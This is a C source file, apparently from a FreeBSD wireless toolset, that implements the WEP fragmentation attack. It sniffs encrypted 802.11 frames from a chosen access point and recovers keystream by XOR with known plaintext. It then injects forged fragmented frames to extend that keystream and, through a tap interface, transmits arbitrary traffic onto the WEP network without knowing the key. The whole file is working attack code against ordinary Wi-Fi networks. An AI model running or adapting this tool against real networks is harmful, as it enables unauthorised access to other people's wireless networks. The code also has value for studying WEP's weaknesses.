1 /*- 2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk> 3 * All rights reserved. 4 * 5 * Redistribution and use in source and binary forms, with or without 6 * modification, are permitted provided that the following conditions 7 * are met: 8 * 1. Redistributions of source code must retain the above copyright 9 * notice, this list of conditions and the following disclaimer. 10 * 2. Redistributions in binary form must reproduce the above copyright 11 * notice, this list of conditions and the following disclaimer in the 12 * documentation and/or other materials provided with the distribution. 13 * 14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND 15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE 18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT 22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY 23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF 24 * SUCH DAMAGE. 25 * 26 * $FreeBSD$ 27 */ 28 #include <sys/endian.h> 29 #include <sys/time.h> 30 #include <sys/select.h> 31 #include <stdio.h> 32 #include <stdlib.h> 33 #include <string.h> 34 #include <err.h> 35 #include <unistd.h> 36 #include <fcntl.h> 37 #include <assert.h> 38 #include <zlib.h> 39 #include "w00t.h" 40 41 42 static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; 43 static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; 44 static int known_pt_len = 8; 45 46 enum { 47 S_START = 0, 48 S_SEND_FRAG, 49 S_WAIT_ACK, 50 S_WAIT_RELAY 51 }; 52 53 struct params { 54 int tx; 55 int rx; 56 57 char mac[6]; 58 char ap[6]; 59 60 char prga[2048]; 61 int prga_len; 62 char iv[3]; 63 64 char *fname; 65 66 struct timeval last; 67 char packet[2048]; 68 int packet_len; 69 int state; 70 71 char data[2048]; 72 char *data_ptr; 73 int data_len; 74 int data_try; 75 int mtu; 76 77 int seq; 78 int frag; 79 80 int tap; 81 }; 82 83 void usage(char *p) 84 { 85 printf("Usage: %s <opts>\n" 86 "-h\thelp\n" 87 "-b\t<bssid>\n" 88 "-t\t<tap>\n" 89 , p); 90 exit(0); 91 } 92 93 void load_prga(struct params *p) 94 { 95 int fd; 96 int rd; 97 98 fd = open(p->fname, O_RDONLY); 99 if (fd == -1) { 100 p->prga_len = 0; 101 return; 102 } 103 104 rd = read(fd, p->iv, 3); 105 if (rd == -1) 106 err(1, "read()"); 107 if (rd != 3) { 108 printf("Short read\n"); 109 exit(1); 110 } 111 112 rd = read(fd, p->prga, sizeof(p->prga)); 113 if (rd == -1) 114 err(1, "read()"); 115 p->prga_len = rd; 116 117 printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname); 118 close(fd); 119 } 120 121 void save_prga(struct params *p) 122 { 123 int fd; 124 int rd; 125 126 fd = open(p->fname, O_WRONLY | O_CREAT, 0644); 127 if (fd == -1) 128 err(1, "open()"); 129 130 rd = write(fd, p->iv, 3); 131 if (rd == -1) 132 err(1, "write()"); 133 if (rd != 3) { 134 printf("Short write\n"); 135 exit(1); 136 } 137 138 rd = write(fd, p->prga, p->prga_len); 139 if (rd == -1) 140 err(1, "write()"); 141 if (rd != p->prga_len) { 142 printf("Wrote %d/%d\n", rd, p->prga_len); 143 exit(1); 144 } 145 close(fd); 146 147 printf("Got %d bytes of PRGA\n", p->prga_len); 148 } 149 150 int is_arp(struct ieee80211_frame *wh, int len) 151 { 152 /* XXX */ 153 if (len > (sizeof(*wh) + 4 + 4 + 39)) 154 return 0; 155 156 return 1; 157 } 158 159 void get_prga(struct params *p) 160 { 161 char buf[4096]; 162 int rc; 163 struct ieee80211_frame *wh; 164 char *bssid; 165 char *ptr; 166 char *known_pt; 167 168 rc = sniff(p->rx, buf, sizeof(buf)); 169 if (rc == -1) 170 err(1, "sniff()"); 171 172 wh = get_wifi(buf, &rc); 173 if (!wh) 174 return; 175 176 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, 177 IEEE80211_FC0_SUBTYPE_DATA)) 178 return; 179 180 if (is_arp(wh, rc)) 181 known_pt = known_pt_arp; 182 else 183 known_pt = known_pt_ip; 184 185 if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) 186 bssid = wh->i_addr1; 187 else 188 bssid = wh->i_addr2; 189 190 if (memcmp(p->ap, bssid, 6) != 0) 191 return; 192 193 if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) { 194 printf("Packet not WEP!\n"); 195 return; 196 } 197 198 ptr = (char*) (wh+1); 199 memcpy(p->iv, ptr, 3); 200 ptr += 4; 201 rc -= sizeof(wh) + 4; 202 203 assert(rc >= known_pt_len); 204 205 for (rc = 0; rc < known_pt_len; rc++) { 206 p->prga[rc] = known_pt[rc] ^ (*ptr); 207 ptr++; 208 } 209 210 p->prga_len = rc; 211 save_prga(p); 212 } 213 214 void start(struct params *p) 215 { 216 int len; 217 218 len = p->prga_len; 219 len -= 4; 220 assert(len > 0); 221 222 len *= 4; 223 if (len > p->mtu) 224 len = p->mtu; 225 226 p->data_len = len; 227 memset(p->data, 0, p->data_len); 228 memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8); 229 p->data_ptr = p->data; 230 p->data_try = 0; 231 p->seq++; 232 p->frag = 0; 233 p->state = S_SEND_FRAG; 234 } 235 236 void send_packet(struct params *p) 237 { 238 int rc; 239 struct ieee80211_frame *wh; 240 241 rc = inject(p->tx, p->packet, p->packet_len); 242 if (rc == -1) 243 err(1, "inject()"); 244 if (rc != p->packet_len) { 245 printf("Wrote %d/%d\n", rc, p->packet_len); 246 exit(1); 247 } 248 249 p->data_try++; 250 wh = (struct ieee80211_frame*) p->packet; 251 wh->i_fc[1] |= IEEE80211_FC1_RETRY; 252 253 if (gettimeofday(&p->last, NULL) == -1) 254 err(1, "gettimeofday()"); 255 } 256 257 void send_frag(struct params *p) 258 { 259 struct ieee80211_frame *wh; 260 int dlen, rem; 261 int last = 0; 262 short *seqp; 263 char *ptr; 264 uLong *pcrc; 265 uLong crc = crc32(0L, Z_NULL, 0); 266 int i; 267 268 memset(p->packet, 0, sizeof(p->packet)); 269 wh = (struct ieee80211_frame*) p->packet; 270 271 /* calculate how much data we need to copy */ 272 dlen = p->prga_len - 4; 273 rem = p->data_ptr - p->data; 274 rem = p->data_len - rem; 275 276 if (rem <= dlen) { 277 dlen = rem; 278 last = 1; 279 } 280 281 /* 802.11 */ 282 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 283 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 284 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 285 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 286 if (!last) 287 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; 288 289 wh->i_dur[0] = 0x69; 290 wh->i_dur[1] = 0x00; 291 292 memcpy(wh->i_addr1, p->ap, 6); 293 memcpy(wh->i_addr2, p->mac, 6); 294 memset(wh->i_addr3, 0xff, 6); 295 296 seqp = (short*) wh->i_seq; 297 *seqp = seqfn(p->seq, p->frag); 298 p->frag++; 299 300 /* IV & data */ 301 ptr = (char*) (wh+1); 302 memcpy(ptr, p->iv, 3); 303 ptr += 4; 304 memcpy(ptr, p->data_ptr, dlen); 305 306 /* crc */ 307 crc = crc32(crc, ptr, dlen); 308 pcrc = (uLong*) (ptr+dlen); 309 *pcrc = crc; 310 311 /* wepify */ 312 for (i = 0; i < dlen+4; i++) 313 ptr[i] = ptr[i] ^ p->prga[i]; 314 315 /* prepare for next frag */ 316 p->packet_len = sizeof(*wh) + 4 + dlen + 4; 317 p->data_ptr += dlen; 318 #if 0 319 printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "", 320 p->seq, p->frag, dlen); 321 #endif 322 if (last) { 323 p->data_ptr = p->data; 324 p->frag = 0; 325 p->seq++; 326 } 327 328 /* send it off */ 329 send_packet(p); 330 p->state = S_WAIT_ACK; 331 } 332 333 void wait_ack(struct params *p) 334 { 335 struct timeval now; 336 int el; 337 int tout = 10*1000; 338 fd_set fds; 339 int rc; 340 char buf[4096]; 341 struct ieee80211_frame *wh; 342 343 if (gettimeofday(&now, NULL) == -1) 344 err(1, "gettimeofday()"); 345 346 /* check for timeout */ 347 el = elapsed(&p->last, &now); 348 if (el >= tout) { 349 if (p->data_try >= 3) { 350 #if 0 351 printf("Re-sending whole lot\n"); 352 #endif 353 p->state = S_START; 354 return; 355 } 356 #if 0 357 printf("Re-sending frag\n"); 358 #endif 359 send_packet(p); 360 el = 0; 361 } 362 363 el = tout - el; 364 now.tv_sec = el/1000/1000; 365 now.tv_usec = el - now.tv_sec*1000*1000; 366 367 FD_ZERO(&fds); 368 FD_SET(p->rx, &fds); 369 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1) 370 err(1, "select()"); 371 372 if (!FD_ISSET(p->rx, &fds)) 373 return; 374 375 /* grab ack */ 376 rc = sniff(p->rx, buf, sizeof(buf)); 377 if (rc == -1) 378 err(1, "sniff()"); 379 380 wh = get_wifi(buf, &rc); 381 if (!wh) 382 return; 383 384 if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK)) 385 return; 386 387 if (memcmp(p->mac, wh->i_addr1, 6) != 0) 388 return; 389 390 /* wait for relay */ 391 if (p->frag == 0) { 392 p->state = S_WAIT_RELAY; 393 if (gettimeofday(&p->last, NULL) == -1) 394 err(1, "gettimeofday()"); 395 } 396 else 397 p->state = S_SEND_FRAG; 398 } 399 400 void wait_relay(struct params *p) 401 { 402 int tout = 20*1000; 403 struct timeval now; 404 int el; 405 fd_set fds; 406 int rc; 407 char buf[4096]; 408 struct ieee80211_frame *wh; 409 char *ptr; 410 uLong crc = crc32(0L, Z_NULL, 0); 411 uLong *pcrc; 412 413 if (gettimeofday(&now, NULL) == -1) 414 err(1, "gettimeofday()"); 415 416 el = elapsed(&p->last, &now); 417 if (el >= tout) { 418 #if 0 419 printf("No relay\n"); 420 #endif 421 p->state = S_START; 422 return; 423 } 424 el = tout - el; 425 now.tv_sec = el/1000/1000; 426 now.tv_usec = el - now.tv_sec*1000*1000; 427 428 FD_ZERO(&fds); 429 FD_SET(p->rx, &fds); 430 if (select(p->rx+1, &fds, NULL, NULL, &now) == -1) 431 err(1, "select()"); 432 433 if (!FD_ISSET(p->rx, &fds)) 434 return; 435 436 /* get relay */ 437 rc = sniff(p->rx, buf, sizeof(buf)); 438 if (rc == -1) 439 err(1, "sniff()"); 440 441 wh = get_wifi(buf, &rc); 442 if (!wh) 443 return; 444 445 if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA, 446 IEEE80211_FC0_SUBTYPE_DATA)) 447 return; 448 449 if (memcmp(wh->i_addr2, p->ap, 6) != 0) 450 return; 451 452 if (memcmp(wh->i_addr3, p->mac, 6) != 0) 453 return; 454 455 if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0) 456 return; 457 458 /* lends different due to padding? */ 459 if ( (rc - sizeof(*wh) - 8) != p->data_len) 460 return; 461 462 /* grab new PRGA */ 463 assert(p->data_len >= p->prga_len); 464 ptr = (char*) (wh+1); 465 memcpy(p->iv, ptr, 3); 466 ptr += 4; 467 468 crc = crc32(crc, p->data, p->data_len); 469 pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */ 470 *pcrc = crc; 471 472 for (rc = 0; rc < p->data_len+4; rc++) 473 p->prga[rc] = p->data[rc] ^ ptr[rc]; 474 475 p->prga_len = p->data_len+4; 476 p->state = S_START; 477 save_prga(p); 478 } 479 480 void get_more_prga(struct params *p) 481 { 482 switch (p->state) { 483 case S_START: 484 start(p); 485 break; 486 487 case S_SEND_FRAG: 488 send_frag(p); 489 break; 490 491 case S_WAIT_ACK: 492 wait_ack(p); 493 break; 494 495 case S_WAIT_RELAY: 496 wait_relay(p); 497 break; 498 499 default: 500 printf("WTF %d\n", p->state); 501 abort(); 502 break; 503 } 504 } 505 506 void read_tap(struct params *p) 507 { 508 int offset; 509 char *ptr; 510 struct ieee80211_frame *wh; 511 int rc; 512 char dst[6]; 513 short *seq; 514 uLong *pcrc; 515 uLong crc = crc32(0L, Z_NULL, 0); 516 517 memset(p->packet, 0, sizeof(p->packet)); 518 offset = sizeof(*wh) + 4 + 8 - 14; 519 rc = sizeof(p->packet) - offset; 520 ptr = &p->packet[offset]; 521 522 rc = read(p->tap, ptr, rc); 523 if (rc == -1) 524 err(1, "read()"); 525 526 memcpy(dst, ptr, sizeof(dst)); 527 wh = (struct ieee80211_frame*) p->packet; 528 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; 529 wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA; 530 wh->i_fc[1] |= IEEE80211_FC1_PROTECTED; 531 wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS; 532 533 wh->i_dur[0] = 0x69; 534 535 memcpy(wh->i_addr1, p->ap, 6); 536 memcpy(wh->i_addr2, p->mac, 6); 537 memcpy(wh->i_addr3, dst, 6); 538 539 seq = (short*) wh->i_seq; 540 *seq = seqfn(p->seq++, 0); 541 542 /* data */ 543 ptr = (char*) (wh+1); 544 memcpy(ptr, p->iv, 3); 545 ptr += 3; 546 *ptr++ = 0; 547 memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6); 548 rc -= 14; 549 rc += 8; 550 551 crc = crc32(crc, ptr, rc); 552 pcrc = (uLong*) (ptr+rc); 553 *pcrc = crc; 554 555 rc += 4; 556 557 assert(p->prga_len >= rc); 558 559 /* wepify */ 560 for (offset = 0; offset < rc; offset++) 561 ptr[offset] ^= p->prga[offset]; 562 563 p->packet_len = sizeof(*wh) + 4 + rc; 564 p->data_try = 0; 565 send_packet(p); 566 p->state = S_WAIT_ACK; 567 } 568 569 /* XXX */ 570 void wait_tap_ack(struct params *p) 571 { 572 p->data_try = 0; 573 p->frag = 1; 574 wait_ack(p); 575 576 if (p->state == S_SEND_FRAG) { 577 #if 0 578 printf("Got ACK\n"); 579 #endif 580 p->state = S_START; 581 } 582 } 583 584 void transmit(struct params *p) 585 { 586 switch (p->state) { 587 case S_START: 588 read_tap(p); 589 break; 590 591 case S_WAIT_ACK: 592 wait_tap_ack(p); 593 break; 594 595 default: 596 printf("wtf %d\n", p->state); 597 abort(); 598 break; 599 } 600 } 601 602 int main(int argc, char *argv[]) 603 { 604 struct params p; 605 char *iface = "wlan0"; 606 char *tap = "tap0"; 607 int ch; 608 609 memset(&p, 0, sizeof(p)); 610 p.fname = "prga.log"; 611 memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6); 612 p.state = S_START; 613 p.mtu = 1500; 614 p.seq = getpid(); 615 616 while ((ch = getopt(argc, argv, "hb:t:")) != -1) { 617 switch (ch) { 618 case 'b': 619 if (str2mac(p.ap, optarg) == -1) { 620 printf("Can't parse BSSID\n"); 621 exit(1); 622 } 623 break; 624 625 case 't': 626 tap = optarg; 627 break; 628 629 case 'h': 630 default: 631 usage(argv[0]); 632 break; 633 } 634 } 635 636 /* init */ 637 if ((p.rx = open_rx(iface)) == -1) 638 err(1, "open_rx()"); 639 if ((p.tx = open_tx(iface)) == -1) 640 err(1, "open_tx()"); 641 642 if ((p.tap = open_tap(tap)) == -1) 643 err(1, "open_tap()"); 644 if (set_iface_mac(tap, p.mac) == -1) 645 err(1, "set_iface_mac()"); 646 647 printf("Obtaining PRGA\n"); 648 /* make sure we got some prga */ 649 load_prga(&p); 650 651 while (p.prga_len == 0) 652 get_prga(&p); 653 654 /* lets grab some more */ 655 while (p.prga_len < p.mtu) 656 get_more_prga(&p); 657 658 /* transmit */ 659 p.state = S_START; 660 while (1) 661 transmit(&p); 662 663 exit(0); 664 } 665